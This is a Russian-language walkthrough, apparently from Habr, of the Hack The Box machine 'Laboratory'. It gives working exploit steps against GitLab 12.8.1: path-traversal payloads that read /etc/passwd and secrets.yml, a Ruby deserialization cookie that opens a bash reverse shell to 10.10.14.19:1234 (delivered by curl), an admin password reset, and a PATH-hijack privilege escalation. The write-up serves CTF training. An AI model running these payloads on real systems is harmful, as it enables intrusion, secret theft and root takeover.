![](https://habrastorage.org/getpro/habr/upload_files/35c/6a9/093/35c6a909355c532cc49957ac5ee4d47c.png)
Введение
При решение данной тачки с HTB у меня возникли небольшие трудности. Скорее всего это связано с отсутствием опыта работы с GitLab. В данном туториале механизм работы эксплойтов опущен, дабы не распугать новых игроков. Начнем…
Для успешного прохождения необходимо:
Немного полазить по github (да, да, я не ошибся)
Уметь "правильно” гуглить
В итоге мы узнаем:
Чем полезен dockerhub
Почему в скриптах необходимо указывать полный путь к бинарным файлам
Сбор информации
Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.
nmap -A -sC -sV -Pn 10.10.10.216 -p-
![](https://habrastorage.org/getpro/habr/upload_files/5d4/094/552/5d40945528a194d92b16d9147fbd7eb6.png)
Обращаем внимание на два доменных имени. Добавляем в файл /etc/hosts.
Отлично! Посетим веб-сайт (https://laboratory.htb), может найдем что-нибудь интересное.
![](https://habrastorage.org/getpro/habr/upload_files/e6b/421/817/e6b42181787997ff994cc387218da02a.png)
Из всего интересного – возможные имена пользователей в самом низу страницы.
А вот второй веб-сайт (https://git.laboratory.htb) поинтересней.
![](https://habrastorage.org/getpro/habr/upload_files/21f/cc9/89b/21fcc989bb8ecfb285aa7e439c9e76e2.png)
Зарегистрируемся в системе. В почте используем концовку laboratory.htb, другие не принимает. Так же при регистрации могут возникнуть проблемы, рекомендую просто поменять браузер.
![](https://habrastorage.org/getpro/habr/upload_files/acb/33e/a49/acb33ea49dce5f305baf701d06981526.png)
Так, мы в системе. Меню help раскрывает версию gitlab.
![](https://habrastorage.org/getpro/habr/upload_files/86c/aff/332/86caff332ab767e3ce8ebd52601cda1d.png)
Гугл приводит меня сюда, но механизм эксплуатации представляет особый интерес…
Я не ошибся, когда сравнил gitlab с github, они чем-то схожи. В gitlab создаются проекты, поднимаются проблемные вопросы, и он также используется для совместной разработки (правда немного в закрытой форме). Перейдем к эксплуатации уязвимости, которая подробно описана тут. Создадим два проекта: pr1 и pr2.
![](https://habrastorage.org/getpro/habr/upload_files/87a/4ba/35e/87a4ba35e964a1c009d13c3634acee41.png)
В проекте pr2 создадим так называемую проблему. Описание следующие:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
![](https://habrastorage.org/getpro/habr/upload_files/2fe/3a0/c45/2fe3a0c45a9ce488ca769032fca5cbc9.png)
И создадим ссылку на её исправление в проекте pr1.
![](https://habrastorage.org/getpro/habr/upload_files/a20/bd8/b66/a20bd8b666dcc6d3796c080154790a48.png)
Наш код интерпретируется как изображение. При выполнении файл /ect/passwd будет загружен в проект pr1.
![](https://habrastorage.org/getpro/habr/upload_files/58f/996/038/58f9960380d394686c8083bcff884c92.png)
Заходим
В gitlab есть файл с конфигами. Продемонстрирую как с использованием этого файла сформировать боевую нагрузку и засунуть ее в куку.
Получаем файл secret.yml как описано выше.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
![](https://habrastorage.org/getpro/habr/upload_files/ddc/eab/291/ddceab291e341bcf7b82ae90a421d283.png)
Файл получен, теперь проведем небольшую подготовку, для дальнейшей эксплуатации. С dockerhub качаем образ gitlab 12.8.1, команды ниже:
sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0
sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 sh
Конфига secrets.yml нет, необходима перенастройка. Рекомендую использовать следующую команду с ручным запуском службы.
/opt/gitlab/embedded/bin/runsvdir-start &gitlab-ctl reconfigure
![](https://habrastorage.org/getpro/habr/upload_files/b50/177/bbf/b50177bbf49e23f98432dcf52f867032.png)
Теперь файл secrets.yml заменим на тот, который получили выше.Перезапустим службу, запустим консоль и начнем генерировать полезную нагрузку.
gitlab-ctl restart
gitlab-rails console
![](https://habrastorage.org/getpro/habr/upload_files/5bd/261/6a1/5bd2616a10ecbe04efe308a1f7a89f91.png)
Наша нагрузка имеет следующий вид:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i>& /dev/tcp/10.10.14.19/1234 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Вводим данные команды одну за одной. Последняя переведет все в куку.
![](https://habrastorage.org/getpro/habr/upload_files/802/7e7/d0a/8027e7d0a6bb889df9052933eb5012ae.png)
На локальном хосте слушаем, а куку доставим с помощь курла.
curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvMTIzNCAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d7e23f647530e5663399728e0d4093a4e3fbb58a" –k
Результат не заставит себя долго ждать.
![](https://habrastorage.org/getpro/habr/upload_files/df4/ff0/123/df4ff012315cecc937d331aa49a833d5.png)
На этапе сбора информации мы получили возможные имена пользователей. Можно предположить, что dexter админ gitlab.
![](https://habrastorage.org/getpro/habr/upload_files/228/9dc/16d/2289dc16d17717fd637080bfdda1481e.png)
Изменим ему пароль, как описано тут.
Команды приведены ниже (параметр -е не дает консоли затупить):
gitlab-rails console -e production
user = User.find(1)
user.password = 'password123'
user.password_confirmation = 'password123'
user.save!
Ура! Я в системе.
![](https://habrastorage.org/getpro/habr/upload_files/d3f/654/fb4/d3f654fb4f1d9a1d99d0766930e8ce00.png)
Посмотрев его проекты, я нашел личную папку с ssh ключом.
![](https://habrastorage.org/getpro/habr/upload_files/70a/785/e27/70a785e27957838d17ce35a82795576e.png)
Вот тут конечно пришлось подумать. Ключ не подходил (писало не тот формат).
Если возникает такая проблема создайте свой ключ и замените содержимое ключом dexter. Возможно в нем лишние пробелы)
![](https://habrastorage.org/getpro/habr/upload_files/c83/ffd/8e7/c83ffd8e78f3b9703ab0348f9bf34a79.png)
Доступ получен. Использую linpeas.sh, чтобы найти следующий вектор. У себя поднимаем сервак.
![](https://habrastorage.org/getpro/habr/upload_files/ac2/a23/b83/ac2a23b838456fcbead2995d85fafca3.png)
Нашел подозрительный двоичный файл.
![](https://habrastorage.org/getpro/habr/upload_files/225/d8f/0b1/225d8f0b15f02bd9ded8c9b9344517ac.png)
Посмотрим, что он делает. Используем ltrace.
![](https://habrastorage.org/getpro/habr/upload_files/90b/795/543/90b7955431668486dbda0b05961459bd.png)
setuid(0) – значит с правами рута, chmod – не прописан полный путь. Можно поиграть
с переменной PATH как описано тут.
Берём рута
Введем следующие команды:
echo "/bin/bash -p" > /tmp/chmod
chmod 777 /tmp/chmod
export PATH=/tmp:$PATH
Тачка пройдена!
![](https://habrastorage.org/getpro/habr/upload_files/0a8/6f3/698/0a86f36988b5f24af64f9f24087218f6.png)
Вместо вывода
Да, знаю, что в интернете уже полно райтапов по данной машине… К счастью сколько людей столько и мнений. Это мое виденье решения данной тачки, и оно непременно поможет кому-то подняться на ступень выше. Готов к обратной связи.
Всем удачного взлома!